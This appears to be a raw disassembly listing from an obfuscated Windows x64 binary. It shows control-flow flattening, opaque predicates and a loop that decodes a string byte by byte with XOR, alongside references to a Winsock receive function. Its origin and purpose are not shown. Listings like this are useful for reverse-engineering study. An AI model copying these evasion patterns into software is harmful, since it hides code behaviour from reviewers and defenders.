mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete r14b
cmp edx, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, edi
mov eax, r14d
cmove eax, r11d
jmp 0x140024032
cmp eax, 0xe804e5f4
je 0x1400240a6
cmp eax, 0x9209573
jne 0x140024039
mov eax, 0x10a09de6
jmp 0x140024039
mov eax, 0x65935c71
jmp 0x140024039
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x17
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 0xc], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 0xd]
mov eax, 0x9c6a156
jmp 0x14002412e
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140024192
cmp eax, 0x65935c71
je 0x1400240d7
cmp eax, 0x10a09de6
je 0x1400241ae
cmp eax, 0x9c6a156
jne 0x14002412e
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r15b
cmp edi, 0xa
setl r12b
xor r12b, r15b
mov r15d, 0xe804e5f4
cmovne r15d, r11d
test eax, r14d
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x14002412e
cmp eax, 0xe804e5f4
je 0x1400241a7
cmp eax, 0x9209573
jne 0x14002412e
mov eax, 0x10a09de6
jmp 0x14002412e
mov eax, 0x65935c71
jmp 0x14002412e
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x18
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 0xd], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 0xe]
mov eax, 0x9c6a156
jmp 0x14002422f
cmp eax, 0x9c6a155
jle 0x140024284
cmp eax, 0x65935c71
je 0x1400241d8
cmp eax, 0xe804e5f4
je 0x140024299
mov eax, dword [0x1402b5c98]
mov edx, dword [0x1402b5c9c]
lea esi, [rax + 1]
imul esi, eax
mov eax, esi
xor eax, 0xfffffffe
test eax, esi
sete bl
cmp edx, 0xa
setl dil
xor dil, bl
mov edi, 0x5aba48f0
mov ebx, 0x2a706f1f
cmovne edi, ebx
test eax, esi
mov eax, edi
cmove eax, ebx
cmp edx, 0xa
cmovge eax, edi
jmp 0x140023107
mov eax, 0x3a8cfc5
jmp 0x140023107
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x1e
mov rsp, rsi
mov rbx, rsp
mov rdx, qword [rbp + 0x200]
mov byte [rdx], al
mov rsi, qword [rbp + 0x200]
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 0x14]
mov eax, 0x9c6a156
jmp 0x1400247e7
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r9d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r15d
cmp eax, 0x9c6a155
jle 0x14002483b
cmp eax, 0x65935c71
je 0x14002477f
cmp eax, 0x10a09de6
je 0x140024857
cmp eax, 0x9c6a156
jne 0x1400247e7
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x1400247e7
cmp eax, 0xe804e5f4
je 0x140024850
cmp eax, 0x9209573
jne 0x1400247e7
mov eax, 0x10a09de6
jmp 0x1400247e7
mov eax, 0x65935c71
jmp 0x1400247e7
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x1f
mov rsp, rbx
mov rbx, rsp
mov byte [rsi + 1], al
mov rax, qword [rbp + 0x180]
mov rax, qword [rax]
movzx edx, byte [rax + 0x15]
mov eax, 0x9c6a156
jmp 0x1400248d8
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x14002492c
cmp eax, 0x65935c71
je 0x140024881
cmp eax, 0x10a09de6
je 0x140024948
cmp eax, 0x9c6a156
jne 0x1400248d8
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x1400248d8
cmp eax, 0xe804e5f4
je 0x140024941
cmp eax, 0x9209573
jne 0x1400248d8
mov eax, 0x10a09de6
jmp 0x1400248d8
mov eax, 0x65935c71
jmp 0x1400248d8
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x20
mov rsp, rbx
mov byte [rsi + 2], al
mov byte [rsi + 3], 0
mov rax, qword [rbp + 0x1d0]
mov byte [rax + 0x17], 1
mov eax, 0xc55c03d3
jmp 0x140023107
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xb
mov rsp, rbx
mov rbx, rsp
mov byte [rcx], al
movzx edx, byte [r8 + 1]
mov eax, 0x9c6a156
jmp 0x1400249e9
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140024a4f
cmp eax, 0x65935c71
je 0x140024993
cmp eax, 0x10a09de6
je 0x140024a6e
cmp eax, 0x9c6a156
jne 0x1400249e9
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax - 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r11d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x1400249e9
cmp eax, 0xe804e5f4
je 0x140024a64
cmp eax, 0x9209573
jne 0x1400249e9
mov eax, 0x10a09de6
jmp 0x1400249e9
mov eax, 0x65935c71
jmp 0x1400249e9
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xc
mov rsp, rbx
mov r15, rsp
mov byte [rcx + 1], al
mov rbx, qword [rsi]
movzx edx, byte [rbx + 2]
mov eax, 0x9c6a156
jmp 0x140024af7
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r12b
cmp edi, 0xa
setl r13b
xor r13b, r12b
mov r12d, 0xe804e5f4
cmovne r12d, r9d
test eax, r14d
mov eax, r12d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r12d
cmp eax, 0x9c6a155
jle 0x140024b4c
cmp eax, 0x65935c71
je 0x140024a91
cmp eax, 0x10a09de6
je 0x140024b68
cmp eax, 0x9c6a156
jne 0x140024af7
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x140024af7
cmp eax, 0xe804e5f4
je 0x140024b61
cmp eax, 0x9209573
jne 0x140024af7
mov eax, 0x10a09de6
jmp 0x140024af7
mov eax, 0x65935c71
jmp 0x140024af7
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xd
mov rsp, r15
mov r15, rsp
mov byte [rcx + 2], al
movzx ebx, byte [rbx + 3]
mov eax, 0x9c6a156
jmp 0x140024bde
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], bl
mov eax, dword [0x1402b5ca0]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete dl
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, dl
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140024c3e
cmp eax, 0x65935c71
je 0x140024b88
cmp eax, 0x10a09de6
je 0x140024c5a
cmp eax, 0x9c6a156
jne 0x140024bde
mov eax, dword [0x1402b5ca0]
mov edx, dword [0x1402b5ca4]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete al
cmp edx, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r11d
cmp edi, 0xffffffff
mov eax, r14d
cmove eax, r11d
cmp edx, 0xa
cmovge eax, r14d
jmp 0x140024bde
cmp eax, 0xe804e5f4
je 0x140024c53
cmp eax, 0x9209573
jne 0x140024bde
mov eax, 0x10a09de6
jmp 0x140024bde
mov eax, 0x65935c71
jmp 0x140024bde
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xe
mov rsp, r15
mov r15, rsp
mov byte [rcx + 3], al
mov rbx, qword [rsi]
movzx edx, byte [rbx + 4]
mov eax, 0x9c6a156
jmp 0x140024ce5
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r12b
xor r12b, al
mov r12d, 0xe804e5f4
cmovne r12d, r9d
cmp r14d, 0xffffffff
mov eax, r12d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r12d
cmp eax, 0x9c6a155
jle 0x140024d3a
cmp eax, 0x65935c71
je 0x140024c7d
cmp eax, 0x10a09de6
je 0x140024d56
cmp eax, 0x9c6a156
jne 0x140024ce5
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x140024ce5
cmp eax, 0xe804e5f4
je 0x140024d4f
cmp eax, 0x9209573
jne 0x140024ce5
mov eax, 0x10a09de6
jmp 0x140024ce5
mov eax, 0x65935c71
jmp 0x140024ce5
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0xf
mov rsp, r15
mov r15, rsp
mov byte [rcx + 4], al
movzx edx, byte [rbx + 5]
mov eax, 0x9c6a156
jmp 0x140024dd8
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea ebx, [rax + 1]
imul ebx, eax
not ebx
or ebx, 0xfffffffe
cmp ebx, 0xffffffff
sete al
cmp edi, 0xa
setl r14b
xor r14b, al
mov r14d, 0xe804e5f4
cmovne r14d, r9d
cmp ebx, 0xffffffff
mov eax, r14d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r14d
cmp eax, 0x9c6a155
jle 0x140024e2b
cmp eax, 0x65935c71
je 0x140024d76
cmp eax, 0x10a09de6
je 0x140024e47
cmp eax, 0x9c6a156
jne 0x140024dd8
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete bl
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r11d
jmp 0x140024dd8
cmp eax, 0xe804e5f4
je 0x140024e40
cmp eax, 0x9209573
jne 0x140024dd8
mov eax, 0x10a09de6
jmp 0x140024dd8
mov eax, 0x65935c71
jmp 0x140024dd8
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x10
mov rsp, r15
mov r15, rsp
mov byte [rcx + 5], al
mov rbx, qword [rsi]
movzx edx, byte [rbx + 6]
mov eax, 0x9c6a156
jmp 0x140024ed2
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r12b
xor r12b, al
mov r12d, 0xe804e5f4
cmovne r12d, r9d
cmp r14d, 0xffffffff
mov eax, r12d
cmove eax, r9d
cmp edi, 0xa
cmovge eax, r12d
cmp eax, 0x9c6a155
jle 0x140024f2f
cmp eax, 0x65935c71
je 0x140024e6a
cmp eax, 0x10a09de6
je 0x140024f4b
cmp eax, 0x9c6a156
jne 0x140024ed2
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
mov eax, r14d
xor eax, 0xfffffffe
test eax, r14d
sete r12b
cmp edi, 0xa
setl r13b
xor r13b, r12b
mov r12d, 0xe804e5f4
cmovne r12d, r11d
test eax, r14d
mov eax, r12d
cmove eax, r11d
jmp 0x140024ecb
cmp eax, 0xe804e5f4
je 0x140024f44
cmp eax, 0x9209573
jne 0x140024ed2
mov eax, 0x10a09de6
jmp 0x140024ed2
mov eax, 0x65935c71
jmp 0x140024ed2
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x11
mov rsp, r15
mov r15, rsp
mov byte [rcx + 6], al
movzx edx, byte [rbx + 7]
mov eax, 0x9c6a156
jmp 0x140024fc1
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete bl
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140025015
cmp eax, 0x65935c71
je 0x140024f6b
cmp eax, 0x10a09de6
je 0x140025031
cmp eax, 0x9c6a156
jne 0x140024fc1
mov eax, dword [0x1402b5ca0]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete bl
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r11d
jmp 0x140024fc1
cmp eax, 0xe804e5f4
je 0x14002502a
cmp eax, 0x9209573
jne 0x140024fc1
mov eax, 0x10a09de6
jmp 0x140024fc1
mov eax, 0x65935c71
jmp 0x140024fc1
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x12
mov rsp, r15
mov rbx, rsp
mov byte [rcx + 7], al
mov r15, qword [rsi]
movzx edx, byte [r15 + 8]
mov eax, 0x9c6a156
jmp 0x1400250ac
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x140025100
cmp eax, 0x65935c71
je 0x140025055
cmp eax, 0x10a09de6
je 0x14002511c
cmp eax, 0x9c6a156
jne 0x1400250ac
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x1400250ac
cmp eax, 0xe804e5f4
je 0x140025115
cmp eax, 0x9209573
jne 0x1400250ac
mov eax, 0x10a09de6
jmp 0x1400250ac
mov eax, 0x65935c71
jmp 0x1400250ac
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x13
mov rsp, rbx
mov rbx, rsp
mov byte [rcx + 8], al
movzx edx, byte [r15 + 9]
mov eax, 0x9c6a156
jmp 0x140025194
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x1400251fa
cmp eax, 0x65935c71
je 0x14002513d
cmp eax, 0x10a09de6
je 0x140025219
cmp eax, 0x9c6a156
jne 0x140025194
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r15b
xor r15b, al
mov r15d, 0xe804e5f4
cmovne r15d, r11d
cmp r14d, 0xffffffff
mov eax, r15d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r15d
jmp 0x140025194
cmp eax, 0xe804e5f4
je 0x14002520f
cmp eax, 0x9209573
jne 0x140025194
mov eax, 0x10a09de6
jmp 0x140025194
mov eax, 0x65935c71
jmp 0x140025194
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x14
mov rsp, rbx
mov rdx, rsp
mov byte [rcx + 9], al
mov rbx, qword [rsi]
movzx r15d, byte [rbx + 0xa]
mov eax, 0x9c6a156
jmp 0x140025294
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], r15b
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x1400252e8
cmp eax, 0x65935c71
je 0x14002523d
cmp eax, 0x10a09de6
je 0x140025304
cmp eax, 0x9c6a156
jne 0x140025294
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete dil
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r11d
jmp 0x140025294
cmp eax, 0xe804e5f4
je 0x1400252fd
cmp eax, 0x9209573
jne 0x140025294
mov eax, 0x10a09de6
jmp 0x140025294
mov eax, 0x65935c71
jmp 0x140025294
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x15
mov rsp, rdx
mov r15, rsp
mov byte [rcx + 0xa], al
movzx edx, byte [rbx + 0xb]
mov eax, 0x9c6a156
jmp 0x140025379
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
mov eax, edi
xor eax, 0xfffffffe
test eax, edi
sete bl
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x1400253cd
cmp eax, 0x65935c71
je 0x140025324
cmp eax, 0x10a09de6
je 0x1400253e9
cmp eax, 0x9c6a156
jne 0x140025379
mov eax, dword [0x1402b5ca0]
lea edi, [rax - 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete bl
mov eax, 0xe804e5f4
cmove eax, r11d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r11d
jmp 0x140025379
cmp eax, 0xe804e5f4
je 0x1400253e2
cmp eax, 0x9209573
jne 0x140025379
mov eax, 0x10a09de6
jmp 0x140025379
mov eax, 0x65935c71
jmp 0x140025379
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x16
mov rsp, r15
mov r15, rsp
mov byte [rcx + 0xb], al
mov rbx, qword [rsi]
movzx edx, byte [rbx + 0xc]
mov eax, 0x9c6a156
jmp 0x140025463
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete dil
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl r14b
xor r14b, dil
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x1400254c9
cmp eax, 0x65935c71
je 0x14002540c
cmp eax, 0x10a09de6
je 0x1400254e8
cmp eax, 0x9c6a156
jne 0x140025463
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea r14d, [rax + 1]
imul r14d, eax
not r14d
or r14d, 0xfffffffe
cmp r14d, 0xffffffff
sete al
cmp edi, 0xa
setl r12b
xor r12b, al
mov r12d, 0xe804e5f4
cmovne r12d, r11d
cmp r14d, 0xffffffff
mov eax, r12d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r12d
jmp 0x140025463
cmp eax, 0xe804e5f4
je 0x1400254de
cmp eax, 0x9209573
jne 0x140025463
mov eax, 0x10a09de6
jmp 0x140025463
mov eax, 0x65935c71
jmp 0x140025463
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x17
mov rsp, r15
mov r15, rsp
mov byte [rcx + 0xc], al
movzx edx, byte [rbx + 0xd]
mov eax, 0x9c6a156
jmp 0x14002555e
mov eax, reloc.WS2_32.dll_recv
call fcn.140238890
sub rsp, rax
mov rax, rsp
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov byte [rax], dl
mov eax, dword [0x1402b5ca0]
lea edi, [rax + 1]
imul edi, eax
not edi
or edi, 0xfffffffe
cmp edi, 0xffffffff
sete bl
mov eax, 0xe804e5f4
cmove eax, r9d
cmp dword [0x1402b5ca4], 0xa
cmovge eax, r10d
setl dil
xor dil, bl
cmovne eax, r9d
cmp eax, 0x9c6a155
jle 0x1400255bd
cmp eax, 0x65935c71
je 0x140025508
cmp eax, 0x10a09de6
je 0x1400255d9
cmp eax, 0x9c6a156
jne 0x14002555e
mov eax, dword [0x1402b5ca0]
mov edi, dword [0x1402b5ca4]
lea ebx, [rax + 1]
imul ebx, eax
mov eax, ebx
xor eax, 0xfffffffe
test eax, ebx
sete r14b
cmp edi, 0xa
setl r12b
xor r12b, r14b
mov r14d, 0xe804e5f4
cmovne r14d, r11d
test eax, ebx
mov eax, r14d
cmove eax, r11d
cmp edi, 0xa
cmovge eax, r14d
jmp 0x14002555e
cmp eax, 0xe804e5f4
je 0x1400255d2
cmp eax, 0x9209573
jne 0x14002555e
mov eax, 0x10a09de6
jmp 0x14002555e
mov eax, 0x65935c71
jmp 0x14002555e
mov rax, qword [rbp + 0x1b0]
movzx eax, byte [rax]
xor al, 0x18
mov rsp, r15
mov r15, rsp
mov byte [rcx + 0xd], al
mov rbx, qword [rsi]
movzx edx, byte [rbx + 0xe]
mov eax, 0x9c6a156
jmp 0x140025662
cmp eax, 0x9c6a155
jle 0x1400256b7
cmp eax, 0x65935c71
je 0x1400255fc
cmp eax, 0xe804e5f4
je 0x1400256cc
movzx edx, byte [rbp + 0x188]
movzx eax, byte [rbp + 0x1e0]
mov ebx, edx
xor bl, al
mov esi, 0x4fef4114
mov edi, 0x2ccc413b
cmovne esi, edi
test al, al
mov eax, esi
cmovne eax, edi
test dl, dl
cmove eax, esi
jmp 0x140023107
cmp eax, 0x2a706f1f
jne 0x140023107
mov rax, qword [rbp + 0x1d0]
mov eax, 0x2b52139c
mov rsp, qword [rbp + 0x128]
jmp 0x14002306d
mov rax, qword [rbp + 0x170]
mov rsp, qword [rbp + 0x120]
sub rsp, 0x20
lea rcx, [rbp + 0x190]
lea rdx, [rbp + 0x1b0]
call fcn.140027000
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140025b6e
or cl, al
je 0x140025b6e
jmp 0x140025b6c
sub rsp, 0x30
mov dword [rsp + 0x20], 1
mov rcx, rbp
lea r14, [rbp + 0x1b0]
mov rdx, r14
mov r8d, 2
mov r9d, 0x40
call fcn.14002a0b0
add rsp, 0x30
mov eax, 0x8e514f33
mov esi, 0x559d78c6
mov ebx, 0xa1dae94d
jmp 0x140025bb2
mov eax, 0xe9738f9d
cmp eax, 0xe9738f9d
je 0x140025cff
cmp eax, 0x8e514f33
jne 0x140025bb2
sub rsp, 0x20
mov rcx, r14
call fcn.1400e2980
add rsp, 0x20
mov eax, dword [0x1402b5af0]
mov ecx, dword [0x1402b5af4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete byte [rbp + 0x1d0]
cmp ecx, 0xa
setl byte [rbp + 0x200]
mov eax, 0xc7dc8da9
cmp eax, 0x354e3b8b
jg 0x140025c4c
cmp eax, 0xa1dae94d
je 0x140025c88
cmp eax, 0xb5ee369a
je 0x140025ca9
cmp eax, 0xc7dc8da9
jne 0x140025c04
movzx ecx, byte [rbp + 0x1d0]
movzx eax, byte [rbp + 0x200]
mov edx, ecx
xor dl, al
mov edx, 0xb5ee369a
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test cl, cl
cmove eax, edx
jmp 0x140025c04
cmp eax, 0x354e3b8c
je 0x140025bad
cmp eax, 0x559d78c6
je 0x140025cb3
cmp eax, 0x66202512
jne 0x140025c04
mov eax, 0x51eaacfe
mov rcx, qword [rbp + 0x1e8]
cmp eax, 0x51eaacfe
je 0x140025c81
cmp eax, 0x89bfb55a
jne 0x140025c71
jmp 0x140025c92
mov eax, 0x89bfb55a
jmp 0x140025c71
mov eax, 0x66202512
jmp 0x140025c04
sub rsp, 0x20
